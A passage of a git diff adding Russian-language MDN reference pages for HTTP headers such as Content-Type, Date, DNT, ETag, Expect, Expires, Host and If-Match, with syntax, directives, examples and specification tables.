+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME тип</a> ресурса или данных.</dd>
+ <dt>charset</dt>
+ <dd>Используемая кодировка.</dd>
+ <dt>boundary</dt>
+ <dd>Директива <code>boundary</code> обязательна для составных сущностей. Она содержит от 1 до 70 символов (не должна заканчиваться пробелом), которые без искажений пройдут через шлюзы email и служит для корректной инкапсуляции всех частей составной сущности.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Content-Type_в_HTML_формах"><code>Content-Type</code> в HTML формах</h3>
+
+<p>В {{HTTPMethod("POST")}} запросе, сгенерированном в результате отправки HTML формы, <code>Content-Type</code> запроса определяется в атрибуте <code>enctype</code> тега {{HTMLElement("form")}}.</p>
+
+<pre class="brush: html notranslate">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
+ &lt;input type="text" name="description" value="some text"&gt;
+ &lt;input type="file" name="myFile"&gt;
+ &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Запрос в этом случае может выглядеть так (менее интересные заголовки опущены):</p>
+
+<pre class="notranslate">POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+
+-----------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+some text
+-----------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+-----------------------------974767299852498929531610575--
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Type")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} Partial Content</li>
+ <li>{{HTTPHeader("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/date/index.html b/files/ru/web/http/заголовки/date/index.html
new file mode 100644
index 0000000000..7dded6ea77
--- /dev/null
+++ b/files/ru/web/http/заголовки/date/index.html
@@ -0,0 +1,86 @@
+---
+title: Date
+slug: Web/HTTP/Заголовки/Date
+tags:
+ - HTTP
+ - Reference
+ - Заголовок
+ - Основной заголовок
+translation_of: Web/HTTP/Headers/Date
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Date</code></strong> основной HTTP заголовок содержащий дату и время, в которое сообщение было создано.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Основной")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Date: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистро-зависимое значение).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>Номер дня с ведущим нулем, например "04" или "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистро-зависимое значение).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>Год из 4-х символов, например "1990" или "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>Часы с ведущим нулем, например "09" или "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>Минуты с ведущим нулем, например "04" или "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>Секунды с ведущим нулем, например "04" или "59".</dd>
+ <dt>GMT</dt>
+ <dd>
+ <p>Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Date", "7.1.1.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">Таблица сравнения на текущей странице сгенерированна из данных хранящихся в <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы желаете внести изменения в данные - отправьте нам pull request.</p>
+
+<p>{{Compat("http.headers.Date")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/dnt/index.html b/files/ru/web/http/заголовки/dnt/index.html
new file mode 100644
index 0000000000..a4e7f56864
--- /dev/null
+++ b/files/ru/web/http/заголовки/dnt/index.html
@@ -0,0 +1,83 @@
+---
+title: DNT
+slug: Web/HTTP/Заголовки/DNT
+translation_of: Web/HTTP/Headers/DNT
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>The <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack - Не отслеживать) заголовок указывает разрешает ли пользователь отслеживать себя. Он позволяет пользователю указать предпочитают они приватность персонифицированному контенту, подготавливаемому с использованием отслеживания.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">DNT: 0
+DNT: 1
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>0</dt>
+ <dd>Пользователь разрешает отслеживание на целевом сайте.</dd>
+ <dt>1</dt>
+ <dd>Пользователь предпочитает не остлеживаться на целевом сайте.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Чтение_статуса_Do_Not_Track_из_JavaScript">Чтение статуса Do Not Track из JavaScript</h3>
+
+<p>DNT предпочтение пользвователя может быть считано из JavaScript используя свойство {{domxref("Navigator.doNotTrack")}} :</p>
+
+<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарии</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td>
+ <td>{{Spec2("Tracking")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос (pull request).</p>
+
+<p>{{Compat("http.headers.DNT")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+ <li>{{HTTPHeader("Tk")}} header</li>
+ <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li>
+ <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li>
+ <li><a href="http://donottrack.us/">donottrack.us</a></li>
+ <li>DNT browser settings help:
+ <ul>
+ <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li>
+ <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/http/заголовки/etag/index.html b/files/ru/web/http/заголовки/etag/index.html
new file mode 100644
index 0000000000..f64994ee97
--- /dev/null
+++ b/files/ru/web/http/заголовки/etag/index.html
@@ -0,0 +1,98 @@
+---
+title: ETag
+slug: Web/HTTP/Заголовки/ETag
+translation_of: Web/HTTP/Headers/ETag
+---
+<div> {{HTTPSidebar}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Заголовок HTTP ответа </span></font><strong>ETag</strong></code> является идентификатором специфической версии ресурса. Он позволяет более эффективно использовать кеш и сохраняет пропускную способность, позволяя серверу отправлять не весь ответ, если содержимое не изменилось. С другой стороны, если контент все-так поменялся, <code>Etag</code> помогает предотвратить одновременное обновление ресурса от перезаписи друг друга ("воздушная коллизия").</p>
+
+<p>Если ресурс по заданному URL изменился, будет сгенерированно новое значение <code>Etag</code>. Поэтому <code>Etag</code> чем-то похож на отпечаток ("fingerprints") и может также быть использован для отслеживания предназначения некоторых серверов. Сравнение этих заголовков позволяет быстро определить являются ли два представления ресурса одними и теме же. Отслеживаемый сервер также может задать сохранять их постоянно.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Заголовок ответа")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">ETag: W/"&lt;etag_value&gt;"
+ETag: "&lt;etag_value&gt;"
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (чувствителен к регистру) указывает, что используется <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">слабый валидатор</a>. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение <code>Etag</code> двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.</dd>
+ <dt>"&lt;etag_value&gt;"</dt>
+ <dd>Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, <code>"675af34563dc-tr34"</code>). Метод, по которому генерируются значения <code>ETag</code>, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатиричных хэш wiki-содержимого.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Как_избежать_коллизий_в_процессе_работы_приложения">Как избежать коллизий в процессе работы приложения</h3>
+
+<p>С помощью заголовков <code>ETag</code> и {{HTTPHeader("If-Match")}}, существует возможность обнаружить коллизии в процессе работы приложения.</p>
+
+<p>Например, при редактировании MDN, текущее содержимое статьи захэшировано и помещено в ответ при помощи заголовока <code>Etag</code>:</p>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>При сохранении изменений в статье (данные отправляются), {{HTTPMethod("POST")}} запрос будет содержать заголовок {{HTTPHeader("If-Match")}}, значение которого эквивалетно значению <code>ETag</code>. Это позволяет проверить актуальность данных.</p>
+
+<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Если хэши из заголовков не совпадают, это означает что данные уже были изменены между запросами (in-between) и будет возвращена ошибка {{HTTPStatus("412")}} <code>Precondition Failed</code>.</p>
+
+<h3 id="Кэширование_неизменямых_ресурсов">Кэширование неизменямых ресурсов</h3>
+
+<p>Другая типичная ситуация для использования <code>ETag</code> — кэширование ресурсов, которые не будут изменяться. Если пользователь повторно посещает URL-адрес (с установленным заголовком <code>ETag</code>), и при этом данные слишком устарели и не могут быть использованы, тогда клиент отправит значение <code>ETag</code> внутри заголовка {{HTTPHeader("If-None-Match")}}:</p>
+
+<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>После чего сервер сравнит клиентский <code>ETag</code> (отправленный с помощью <code>If-None-Match</code>) с <code>ETag</code> для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}}<code> Not Modified</code>, без тела ответа. Такой ответ сервера сообщает клиенту, что закэшированная версия ресурса актуальна и готова к использованию.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "ETag", "2.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.ETag")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+ <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/заголовки/expect/index.html b/files/ru/web/http/заголовки/expect/index.html
new file mode 100644
index 0000000000..80a785befa
--- /dev/null
+++ b/files/ru/web/http/заголовки/expect/index.html
@@ -0,0 +1,87 @@
+---
+title: Expect
+slug: Web/HTTP/Заголовки/Expect
+translation_of: Web/HTTP/Headers/Expect
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.</p>
+
+<p>Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:</p>
+
+<ul>
+ <li>{{HTTPStatus("100")}} если информации, содержащейся в заголовке, достаточно, чтобы вызвать немедленный успех,</li>
+ <li>{{HTTPStatus("417")}} (Expectation Failed) если он не может удовлетворить ожидания; или любой другой статус 4xx..</li>
+</ul>
+
+<p>Например, сервер может отклонить запрос, если его {{HTTPHeader("Content-Length")}} слишком большой.</p>
+
+<p>Обычные браузеры не отправляют заголовок Expect, но некоторые другие , такие как cURL, делают это по умолчанию.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Никаких других ожиданий, кроме «100-continue», не указано</p>
+
+<pre class="syntaxbox">Expect: 100-continue
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>100-continue</dt>
+ <dd>Сообщает получателям, что клиент собирается отправить (по-видимому большой) тело сообщения в этот запрос и хочет получить промежуточный ответ  {{HTTPStatus("100")}} (Continue).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Большой_текст_сообщения">Большой текст сообщения</h3>
+
+<p>Клиент отправляет запрос с заголовком Expect и ожидает ответа сервера перед отправкой тела сообщения.</p>
+
+<pre>PUT /somewhere/fun HTTP/1.1
+Host: origin.example.com
+Content-Type: video/h264
+Content-Length: 1234567890987
+Expect: 100-continue
+</pre>
+
+<p>Сервер теперь проверяет  запрос и может ответить с ответом {{HTTPStatus("100")}} (Continue), чтобы дать клиенту указание продолжить и отправить тело сообщения, или он отправит  {{HTTPStatus("417")}} (Expectation Failed), если какие-либо из ожиданий не могут быть выполнены.</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Expect", "5.1.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Известно, что обычные браузеры не отправляют этот заголовок.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li>
+ <li>{{HTTPStatus("100")}}<code> Continue</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/expires/index.html b/files/ru/web/http/заголовки/expires/index.html
new file mode 100644
index 0000000000..2d946f0724
--- /dev/null
+++ b/files/ru/web/http/заголовки/expires/index.html
@@ -0,0 +1,80 @@
+---
+title: Expires
+slug: Web/HTTP/Заголовки/Expires
+tags:
+ - HTTP
+ - Заголовки
+ - Кеширование
+ - Ответ сервера
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <code><strong>Expires</strong></code><strong> </strong>содержит дату/время, по истечении которой ответ сервера считается устаревшим.</p>
+
+<p>Прошедшая или невалидная дата, например 0, обозначает, что ресурс уже устарел.</p>
+
+<p>Если в ответе с сервера установлен заголовок {{HTTPHeader("Cache-Control")}} с директивами "max-age" или "s-maxage" , заголовок <code>Expires</code> игнорируется. </p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+ <td>нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS безопасный заголовок ")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox notranslate">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>HTTP-дата и время.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234", "Expires", "5.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/expires")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/host/index.html b/files/ru/web/http/заголовки/host/index.html
new file mode 100644
index 0000000000..4b99e7233c
--- /dev/null
+++ b/files/ru/web/http/заголовки/host/index.html
@@ -0,0 +1,72 @@
+---
+title: Host
+slug: Web/HTTP/Заголовки/Host
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+
+
+<p>Заголовок <strong>Host</strong> содержит имя домена, для которого предназначен запрос и, опционально, номер порта.</p>
+
+<p>Если порт не указан, то используется умолчательный порт протокола/сервиса (например «80» для HTTP, "443" для HTTPS и т.д.).</p>
+
+<p>Каждый HTTP/1.1 запрос должен содержать один и только один заголовок <strong>Host</strong>, в ином случае ответ будет с кодом статуса {{HTTPStatus("400")}}  (Bad Request).</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}} Неизменяемый</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;port&gt;
+</pre>
+
+<h2 id="Обозначения">Обозначения</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>доменное имя сервера</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>номер порта</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Стандарт/спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Host", "5.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице была сгенерирована из автоматически собранных данных. Если вы хотите дополнить или исправить эти данные, то оформите пожалуйста pull-request в проекте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> </p>
+
+<p>{{Compat("http.headers.Host")}}</p>
+
+<h2 id="См._ещё">См. ещё</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/if-match/index.html b/files/ru/web/http/заголовки/if-match/index.html
new file mode 100644
index 0000000000..e2c403a90f
--- /dev/null
+++ b/files/ru/web/http/заголовки/if-match/index.html
@@ -0,0 +1,86 @@
+---
+title: If-Match
+slug: Web/HTTP/Заголовки/If-Match
+translation_of: Web/HTTP/Headers/If-Match
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок HTTP-запроса <strong><code>If-Match</code></strong> делает запрос условным. Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} сервер отправляет запрошенный ресурс только в том случае, если он соответствует одному из перечисленных <strong>ETags</strong>. Для {{HTTPMethod("PUT")}} и других небезопасных методов он будет загружать только ресурс в этом случае.</p>
+
+<p>Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс <strong><code>W/</code></strong>используется перед <strong>ETag.</strong></p>
+
+<p>Существует два распространенных варианта использования:</p>
+
+<ul>
+ <li>Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}, используемых в сочетании с {{HTTPHeader("Range")}}, он может гарантировать, что запрашиваемые новые диапазоны с того же ресурса, что и предыдущий. Если он не соответствует, то возвращается ответ {{HTTPStatus("416")}} (Range Not Satisfiable).</li>
+ <li>Для других методов и, в частности, для {{HTTPMethod("PUT")}},<strong> If-Match</strong> может использоваться для предотвращения проблемы с потерянным обновлением. Он может проверить, не изменит ли изменение ресурса, которое пользователь хочет загрузить, другое изменение, которое было выполнено с момента извлечения исходного ресурса. Если запрос не может быть выполнен, возвращается ответ  {{HTTPStatus("412")}} (Precondition Failed).</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">If-Match: &lt;etag_value&gt;
+If-Match: &lt;etag_value&gt;, &lt;etag_value&gt;, …
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;etag_value&gt;</dt>
+ <dd>Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, <strong>"675af34563dc-tr34"</strong>) и могут быть префиксами<strong> W/</strong>, чтобы указать, что следует использовать слабый алгоритм сравнения.</dd>
+ <dt><code>*</code></dt>
+ <dd>Звездочка представляет собой специальное значение, представляющее любой ресурс.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
+
+If-Match: W/"67ab43", "54ed21", "7892dd"
+
+If-Match: *
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификвция</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "If-Match", "3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/if-match")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("416")}}<code> Range Not Satisfiable</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/if-modified-since/index.html b/files/ru/web/http/заголовки/if-modified-since/index.html
new file mode 100644
index 0000000000..28769b20ae
--- /dev/null
+++ b/files/ru/web/http/заголовки/if-modified-since/index.html
@@ -0,0 +1,94 @@
+---
+title: If-Modified-Since
+slug: Web/HTTP/Заголовки/If-Modified-Since
+tags:
+ - HTTP
+ - Заголовки HTTP
+ - Заголовки запроса
+ - Условные запросы
+translation_of: Web/HTTP/Headers/If-Modified-Since
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок HTTP запроса <strong><code>If-Modified-Since</code></strong> делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.</p>
+
+<p>При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок <code>If-Modified-Since</code> игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.</p>
+
+<p>Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">If-Modified-Since: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>День недели ("Mon", "Tue", "Wed", "Thu", "Fri", "Sat" или "Sun") с учётом регистра.</dd>
